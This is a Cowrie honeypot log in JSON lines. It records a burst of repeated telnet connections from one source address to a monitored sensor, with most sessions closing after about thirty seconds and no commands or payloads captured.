{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab9845241c01","protocol":"telnet","message":"New connection: 69.6.196.124:35660 (159.203.135.109:23) [session: ab9845241c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:01.000029Z"}
{"eventid":"cowrie.session.closed","duration":31.443707704544067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:01.148628Z","src_ip":"69.6.196.124","session":"1fdb1c380722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450854301452637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:01.416415Z","src_ip":"69.6.196.124","session":"0b0434642a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35644,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4813dfdf51","protocol":"telnet","message":"New connection: 69.6.196.124:35644 (159.203.135.109:23) [session: 7e4813dfdf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:01.871114Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35670,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d2884e8ffde","protocol":"telnet","message":"New connection: 69.6.196.124:35670 (159.203.135.109:23) [session: 2d2884e8ffde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.129724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35686,"dst_ip":"159.203.135.109","dst_port":23,"session":"145f7489acd2","protocol":"telnet","message":"New connection: 69.6.196.124:35686 (159.203.135.109:23) [session: 145f7489acd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.314399Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8343cf4776c","protocol":"telnet","message":"New connection: 69.6.196.124:39544 (159.203.135.109:23) [session: b8343cf4776c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.321938Z"}
{"eventid":"cowrie.session.closed","duration":30.47197937965393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.325701Z","src_ip":"69.6.196.124","session":"0e583bb1cccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448964595794678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.365858Z","src_ip":"69.6.196.124","session":"c40d7779e73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149128675460815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.424878Z","src_ip":"69.6.196.124","session":"6dadf94425d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35634,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ab24f984ca","protocol":"telnet","message":"New connection: 69.6.196.124:35634 (159.203.135.109:23) [session: 50ab24f984ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.443444Z"}
{"eventid":"cowrie.session.closed","duration":31.306736707687378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.502326Z","src_ip":"69.6.196.124","session":"4dbdd149d0b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567416191101074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.579130Z","src_ip":"69.6.196.124","session":"3963a6043e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867999792099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.692430Z","src_ip":"69.6.196.124","session":"ff14ea6787ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690597772598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:02.824285Z","src_ip":"69.6.196.124","session":"f4f3a16d4731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355905771255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:03.365532Z","src_ip":"69.6.196.124","session":"c112986f54a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697888374328613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:03.438357Z","src_ip":"69.6.196.124","session":"6e3fea549e79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35690,"dst_ip":"159.203.135.109","dst_port":23,"session":"43023c1f6c8e","protocol":"telnet","message":"New connection: 69.6.196.124:35690 (159.203.135.109:23) [session: 43023c1f6c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:03.467139Z"}
{"eventid":"cowrie.session.closed","duration":31.198094129562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:03.749768Z","src_ip":"69.6.196.124","session":"b20c1a987182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808101177215576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:03.856189Z","src_ip":"69.6.196.124","session":"8b99f2c967b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaeb2ecf961d","protocol":"telnet","message":"New connection: 69.6.196.124:35696 (159.203.135.109:23) [session: aaeb2ecf961d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:04.028193Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35702,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e62324bf701","protocol":"telnet","message":"New connection: 69.6.196.124:35702 (159.203.135.109:23) [session: 8e62324bf701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:04.301305Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35712,"dst_ip":"159.203.135.109","dst_port":23,"session":"3179b059bc99","protocol":"telnet","message":"New connection: 69.6.196.124:35712 (159.203.135.109:23) [session: 3179b059bc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:05.079504Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8892d3bc69aa","protocol":"telnet","message":"New connection: 69.6.196.124:35720 (159.203.135.109:23) [session: 8892d3bc69aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:05.830382Z"}
{"eventid":"cowrie.session.closed","duration":31.566361904144287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:05.979762Z","src_ip":"69.6.196.124","session":"874b44642153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79045844078064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.078795Z","src_ip":"69.6.196.124","session":"1927e42a9550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35722,"dst_ip":"159.203.135.109","dst_port":23,"session":"69e724f3b7aa","protocol":"telnet","message":"New connection: 69.6.196.124:35722 (159.203.135.109:23) [session: 69e724f3b7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.245708Z"}
{"eventid":"cowrie.session.closed","duration":30.396185874938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.416653Z","src_ip":"69.6.196.124","session":"9bcb774dcc51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87777829170227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.422486Z","src_ip":"69.6.196.124","session":"824e94fbfa05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35728,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca69cddc400","protocol":"telnet","message":"New connection: 69.6.196.124:35728 (159.203.135.109:23) [session: 9ca69cddc400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.433727Z"}
{"eventid":"cowrie.session.closed","duration":31.25854730606079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.788175Z","src_ip":"69.6.196.124","session":"da5213eaed8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35734,"dst_ip":"159.203.135.109","dst_port":23,"session":"960c0a495da9","protocol":"telnet","message":"New connection: 69.6.196.124:35734 (159.203.135.109:23) [session: 960c0a495da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:06.792913Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb6d2e5ea0d","protocol":"telnet","message":"New connection: 69.6.196.124:35740 (159.203.135.109:23) [session: 8eb6d2e5ea0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:07.063237Z"}
{"eventid":"cowrie.session.closed","duration":30.771745681762695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:07.274489Z","src_ip":"69.6.196.124","session":"da69d817aba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479954719543457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:07.467725Z","src_ip":"69.6.196.124","session":"d9a3dfc84473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35770,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05bf98c6d4d","protocol":"telnet","message":"New connection: 69.6.196.124:35770 (159.203.135.109:23) [session: b05bf98c6d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:07.640217Z"}
{"eventid":"cowrie.session.closed","duration":30.842827081680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:08.282659Z","src_ip":"69.6.196.124","session":"0f8d49601131","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030615091323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:08.835132Z","src_ip":"69.6.196.124","session":"7366a4d32e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35780,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e40e0668a50","protocol":"telnet","message":"New connection: 69.6.196.124:35780 (159.203.135.109:23) [session: 4e40e0668a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:08.852745Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f530280eae1f","protocol":"telnet","message":"New connection: 69.6.196.124:35790 (159.203.135.109:23) [session: f530280eae1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.262418Z"}
{"eventid":"cowrie.session.closed","duration":30.67100167274475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.273969Z","src_ip":"69.6.196.124","session":"e068dcba2246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25738263130188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.295408Z","src_ip":"69.6.196.124","session":"737e411626a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35754,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a53baf9a31","protocol":"telnet","message":"New connection: 69.6.196.124:35754 (159.203.135.109:23) [session: c7a53baf9a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.354367Z"}
{"eventid":"cowrie.session.closed","duration":30.340349197387695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.360933Z","src_ip":"69.6.196.124","session":"a4e529c98624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305644989013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.460056Z","src_ip":"69.6.196.124","session":"3f814c79c166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35796,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d44d999c98","protocol":"telnet","message":"New connection: 69.6.196.124:35796 (159.203.135.109:23) [session: 08d44d999c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.529758Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":35812,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d0036ed711","protocol":"telnet","message":"New connection: 69.6.196.124:35812 (159.203.135.109:23) [session: 43d0036ed711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.587320Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45724,"dst_ip":"159.203.135.109","dst_port":23,"session":"088798640619","protocol":"telnet","message":"New connection: 69.6.196.124:45724 (159.203.135.109:23) [session: 088798640619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.703394Z"}
{"eventid":"cowrie.session.closed","duration":31.142768144607544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:09.776448Z","src_ip":"69.6.196.124","session":"930ce4f2476a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45740,"dst_ip":"159.203.135.109","dst_port":23,"session":"e734deef321b","protocol":"telnet","message":"New connection: 69.6.196.124:45740 (159.203.135.109:23) [session: e734deef321b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:10.468054Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27f8a293533","protocol":"telnet","message":"New connection: 69.6.196.124:45756 (159.203.135.109:23) [session: f27f8a293533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:10.620065Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7eadade472b","protocol":"telnet","message":"New connection: 69.6.196.124:45770 (159.203.135.109:23) [session: f7eadade472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:10.756438Z"}
{"eventid":"cowrie.session.closed","duration":30.49072790145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:11.269459Z","src_ip":"69.6.196.124","session":"e0152e96b764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482738733291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:11.370252Z","src_ip":"69.6.196.124","session":"3e8c4af34a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45776,"dst_ip":"159.203.135.109","dst_port":23,"session":"00ebe3d82c62","protocol":"telnet","message":"New connection: 69.6.196.124:45776 (159.203.135.109:23) [session: 00ebe3d82c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:11.444346Z"}
{"eventid":"cowrie.session.closed","duration":33.88106393814087,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.099722Z","src_ip":"69.6.196.124","session":"0f54867059f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45784,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9117215dbf7","protocol":"telnet","message":"New connection: 69.6.196.124:45784 (159.203.135.109:23) [session: a9117215dbf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.340439Z"}
{"eventid":"cowrie.session.closed","duration":30.857033014297485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.437571Z","src_ip":"69.6.196.124","session":"b0fe6efc3f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45800,"dst_ip":"159.203.135.109","dst_port":23,"session":"291b2da596da","protocol":"telnet","message":"New connection: 69.6.196.124:45800 (159.203.135.109:23) [session: 291b2da596da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.633814Z"}
{"eventid":"cowrie.session.closed","duration":31.296782970428467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.794374Z","src_ip":"69.6.196.124","session":"eed56a3654c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2132306098938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:12.843292Z","src_ip":"69.6.196.124","session":"8dc26c2c2781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45816,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d782814407","protocol":"telnet","message":"New connection: 69.6.196.124:45816 (159.203.135.109:23) [session: 92d782814407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:13.160277Z"}
{"eventid":"cowrie.session.closed","duration":30.103923797607422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:13.274473Z","src_ip":"69.6.196.124","session":"75f06cc66b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45822,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aee5c3ba566","protocol":"telnet","message":"New connection: 69.6.196.124:45822 (159.203.135.109:23) [session: 7aee5c3ba566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:13.713136Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45826,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb2fff07124","protocol":"telnet","message":"New connection: 69.6.196.124:45826 (159.203.135.109:23) [session: 1cb2fff07124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:13.974169Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45834,"dst_ip":"159.203.135.109","dst_port":23,"session":"f21d72156f50","protocol":"telnet","message":"New connection: 69.6.196.124:45834 (159.203.135.109:23) [session: f21d72156f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:14.147736Z"}
{"eventid":"cowrie.session.closed","duration":30.92165970802307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:14.499758Z","src_ip":"69.6.196.124","session":"fbf2fb345e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45836,"dst_ip":"159.203.135.109","dst_port":23,"session":"d246fbd5e5f4","protocol":"telnet","message":"New connection: 69.6.196.124:45836 (159.203.135.109:23) [session: d246fbd5e5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:14.692705Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45846,"dst_ip":"159.203.135.109","dst_port":23,"session":"e26b752c4ef5","protocol":"telnet","message":"New connection: 69.6.196.124:45846 (159.203.135.109:23) [session: e26b752c4ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:15.184688Z"}
{"eventid":"cowrie.session.closed","duration":31.085317134857178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:15.334972Z","src_ip":"69.6.196.124","session":"ca366136081f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67745351791382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:15.423752Z","src_ip":"69.6.196.124","session":"f99f1972fa2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733830213546753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:15.467574Z","src_ip":"69.6.196.124","session":"840bb25bd82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065348386764526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:15.498269Z","src_ip":"69.6.196.124","session":"cf510400073d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45864,"dst_ip":"159.203.135.109","dst_port":23,"session":"6740e1a0ac07","protocol":"telnet","message":"New connection: 69.6.196.124:45864 (159.203.135.109:23) [session: 6740e1a0ac07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.063242Z"}
{"eventid":"cowrie.session.closed","duration":31.443877696990967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.254902Z","src_ip":"69.6.196.124","session":"caeff249db47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45862,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5737494d2c4","protocol":"telnet","message":"New connection: 69.6.196.124:45862 (159.203.135.109:23) [session: b5737494d2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.330489Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45868,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfacdf72cd73","protocol":"telnet","message":"New connection: 69.6.196.124:45868 (159.203.135.109:23) [session: dfacdf72cd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.346176Z"}
{"eventid":"cowrie.session.closed","duration":30.581608533859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.449743Z","src_ip":"69.6.196.124","session":"b97cd5e4f54b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45882,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0da25d6f39f","protocol":"telnet","message":"New connection: 69.6.196.124:45882 (159.203.135.109:23) [session: d0da25d6f39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:16.766091Z"}
{"eventid":"cowrie.session.closed","duration":31.313560724258423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:17.120890Z","src_ip":"69.6.196.124","session":"87c869bf7121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45894,"dst_ip":"159.203.135.109","dst_port":23,"session":"21818ee08b3b","protocol":"telnet","message":"New connection: 69.6.196.124:45894 (159.203.135.109:23) [session: 21818ee08b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:17.437562Z"}
{"eventid":"cowrie.session.closed","duration":30.955743551254272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:17.444454Z","src_ip":"69.6.196.124","session":"6cfd714b4940","protocol":"telnet"}
